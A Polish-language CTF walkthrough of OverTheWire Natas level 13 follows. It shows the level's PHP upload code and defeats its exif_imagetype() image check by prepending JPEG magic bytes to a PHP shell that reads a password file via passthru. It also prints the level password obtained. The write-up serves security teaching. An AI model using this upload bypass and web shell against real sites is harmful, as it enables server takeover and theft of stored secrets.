Wpis jest kontynuacją rozwiązań hackme Natas na OverTheWire. Rozwiązania etapu 12 można znaleźć tutaj.

Analiza

Hasłem uzyskanym na poprzednim etapie logujemy się do kolejnego poziomu. Kod różni się nieznacznie względem tego w poprzednim przykładzie. Odwiedzając stronę informowani jesteśmy o wprowadzeniu weryfikacji, czy wysyłany plik jest obrazem. Kod źódłowy:

<?
function genRandomString()
{
    $length     = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string     = "";
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters) - 1)];
    }
    return $string;
}

function makeRandomPath($dir, $ext)
{
    do {
        $path = $dir . "/" . genRandomString() . "." . $ext;
    } while (file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn)
{
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if (array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (!exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else {
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?
    print genRandomString();
?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?
}
?>

Wspomniana różnica składa się na dodatkowy warunek przy weryfikacji danych:

else if (!exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
    echo "File is not an image";
}

W związku z tym, że resztę kodu przeanalizowaliśmy w poprzednim wpisie, wyciągnijmy wnioski dotyczące wysyłanego pliku:

  • Musi mieć rozszerzenie .php
  • Musi zawierać wywołanie odczytu danych z pliku: passthru("cat /etc/natas_webpass/natas13");
  • Musi przejść weryfikację metodą exif_imagetype()

Rozwiązanie

Skupmy się zatem na wspomnianej metodzie, sprawdzającej czy wysyłany plik jest obrazem. Rzut oka na dokumentację funkcji:

When a correct signature is found, the appropriate constant value will be returned

Funkcja sprawdza zatem czy plik podpisany jest odpowiednią sygnaturą. Musimy znaleźć sygnaturę odpowiadającą obrazowi, aby przejść weryfikację. Listę sygnatur (zwanych też MagicNumbers) możemy znaleźć choćby na Wikipedii. W przykładzie zastosuję sygnaturę pliku JPG, której forma heksadecymalna jest następująca: FF D8 FF E0. Nic nie stoi już na przeszkodzie temu, by stworzyć skrypt. Użyję do tego powłoki linuxa:

echo "\xFF\xD8\xFF\xE0   <?passthru("cat /etc/natas_webpass/natas14")?>" > exploit13.php

Należy pamiętać, że dane które postawiliśmy przed <? zostaną wydrukowane, stąd kilka znaków odstępu, aby łatwiej rozpoznać hasło. Zgodnie ze wskazówkami z poprzedniego wpisu wysyłamy plik na serwer i pozyskujemy hasło:

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Rozwiązanie kolejnego poziomu dostępne jest pod tym adresem.